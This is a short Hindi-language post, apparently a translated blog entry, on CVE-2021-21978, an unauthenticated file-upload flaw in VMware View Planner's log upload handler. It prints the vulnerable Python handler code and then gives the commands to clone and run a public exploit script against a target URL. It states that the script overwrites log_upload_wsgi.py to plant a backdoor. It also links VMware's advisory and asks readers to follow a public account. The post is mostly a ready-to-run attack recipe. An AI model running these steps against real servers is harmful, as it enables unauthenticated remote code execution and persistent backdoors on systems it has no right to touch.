
इको-सक्षम संस्करण के साथ शोषण स्क्रिप्ट
एक सरल तरीके से एक्सप्लॉइट स्क्रिप्ट जो आउटपुट दिखाती है
VMware View Planner वेब प्रबंधन इंटरफ़ेस में लॉग फ़ाइल अपलोड करने के लिए एक प्रविष्टि है, जिसमें कोई प्रमाणीकरण नहीं है और लिखी जाने वाली लॉग फ़ाइल का पथ उपयोगकर्ता-नियंत्रित है।
log_upload_wsgi.pyलॉग फ़ाइल को ओवरराइट करके अपलोड करने पर, RCE प्राप्त किया जा सकता है।
बग कोड:
def application(environ, start_response):
logger.debug("application called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
pip install requests
git clone https://github.com/skytina/CVE-2021-21978
cd CVE-2021-21978
python3 CVE-2021-21978.py https://192.168.80.3/

शोषण स्क्रिप्ट log_upload_wsgi.py को फिर से लिखेगी, इसे एक बैकडोर में बदल देगी

VMware आधिकारिक घोषणा: https://www.vmware.com/security/advisories/VMSA-2021-0003.html
यदि उपरोक्त सामग्री सहायक लगती है, तो कृपया सार्वजनिक खाते पर ध्यान दें
